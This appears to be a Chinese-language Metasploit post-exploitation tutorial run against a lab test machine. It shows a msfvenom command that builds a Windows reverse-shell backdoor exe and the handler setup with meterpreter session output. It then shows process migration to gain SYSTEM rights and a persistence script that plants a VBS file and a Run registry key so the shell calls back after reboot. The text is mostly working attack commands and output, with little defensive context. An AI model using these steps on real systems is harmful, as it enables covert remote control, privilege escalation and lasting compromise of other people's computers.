msf後滲透
生成exe後門
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.131 lport=4444 -f exe -o 4444.ex
傳到測試機執行後得到反彈shell
msfconsole
msf > use multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.31.131
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.31.131:4444
[*] Sending stage (179779 bytes) to 192.168.31.248
[*] Meterpreter session 1 opened (192.168.31.131:4444 -> 192.168.31.248:49313) at 2018-04-13 23:05:37 +0800
meterpreter >
meterpreter > getpid
Current pid: 4584
meterpreter > getuid //獲取當前用戶身份
Server username: ihoney-PC\Administrator
meterpreter >
meterpreter > ps //查看當前測試機系統進程
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
564 456 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
meterpreter > migrate 564 //遷移當前會話進程到系統進程，這樣即使被結束exe後門仍然可以使用會話shell
[*] Migrating from 4456 to 564...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 564
meterpreter > getuid //遷移成功後得到system用戶權限
Server username: NT AUTHORITY\SYSTEM
meterpreter > run persistence -X -i 60 -p 4444 -r 192.168.31.131 //真正的後滲透，在系統重啟後仍然可以得到shell
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /Users/zhangpeng/.msf4/logs/persistence/IHONEY-PC_20180413.2519/IHONEY-PC_20180413.2519.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.31.131 LPORT=4444
[*] Persistent agent script is 99640 bytes long
[+] Persistent Script written to C:\Windows\TEMP\vkHZiX.vbs //寫了一個vbs腳本到C:\Windows\TEMP\目錄，系統重啟自動運行
[*] Executing script C:\Windows\TEMP\vkHZiX.vbs
[+] Agent executed with PID 4872
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\PgjqHCWqb
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\PgjqHCWqb
meterpreter > exit //退出會話並重啟測試機
[*] Shutting down Meterpreter...
[*] 192.168.31.248 - Meterpreter session 3 closed. Reason: User exit
msf exploit(multi/handler) >
此時重啟測試機後，重新得到會話
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.31.131:4444
[*] Sending stage (179779 bytes) to 192.168.31.248
[*] Meterpreter session 4 opened (192.168.31.131:4444 -> 192.168.31.248:49302) at 2018-04-13 23:26:31 +0800
meterpreter >
msf後滲透